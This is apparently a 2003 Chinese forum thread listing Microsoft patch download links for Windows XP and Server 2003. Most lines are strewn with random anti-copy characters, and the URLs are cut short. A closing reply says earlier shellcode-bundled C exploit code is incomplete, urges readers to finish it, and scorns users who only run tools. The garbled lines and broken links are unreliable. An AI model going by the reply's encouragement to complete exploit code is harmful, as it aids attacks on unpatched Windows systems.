  a: N2 \0 Q% u$ `（中文）http://microsoft.com/downloads/details.aspx?displaylang=zh-cn&FamilyID=C8B8A846-F541-4C15-8C9F-220354449117
4 w' S) y" n/ A' [% U) m9 `( `' m: O
/ m3 _/ L+ |) e9 p) s; rWindows XP 32 bit Edition ：

/ C* k7 w+ U- H% B0 W# ahttp://microsoft.com/downloads/d ... &displaylang=en

/ O( a; i+ B, w5 N- C4 R' p# BWindows XP 64 bit Edition：
* c0 ~0 P8 A- G+ L: F+ k
# {8 P8 E4 G$ Z/ khttp://microsoft.com/downloads/d ... &displaylang=en

Windows Server 2003 32 bit Edition：

http://microsoft.com/downloads/d ... &displaylang=en
$ E' Y4 E7 s0 }, q$ A) ?' K! \9 b7 R
Windows Server 2003 64 bit Edition：
  E, z: A7 S* ^# N5 |6 K. I, I
http://microsoft.com/downloads/d ... &displaylang=en
% Z4 U- b+ w* F% {1 V  h- w

! d2 `% z4 {: t* w7 \% P2 d0 K
& K7 ~) O5 x5 l+ Y/ k
* J! d# c0 i) F' O

[此贴子已经被作者于2003-8-9 23:05:32编辑过]

8 s* ?  {9 F/ ^- I# {6 `' `. k

ASEE

上述那段捆绑了SHELL CODE的C代码还不完整，没有处理返回的数据，因此VC下编译后的程序执行后没有反应，大家如果有兴趣研究的话，可以补充完整（俺工作太忙，没有太多的时间去补充，Hoho,不要成为只会使用工具的“伪黑客”，说白了，只会使用工具的人都是菜鸟，网络原理都弄不清楚，还搞什么攻击，KAO）。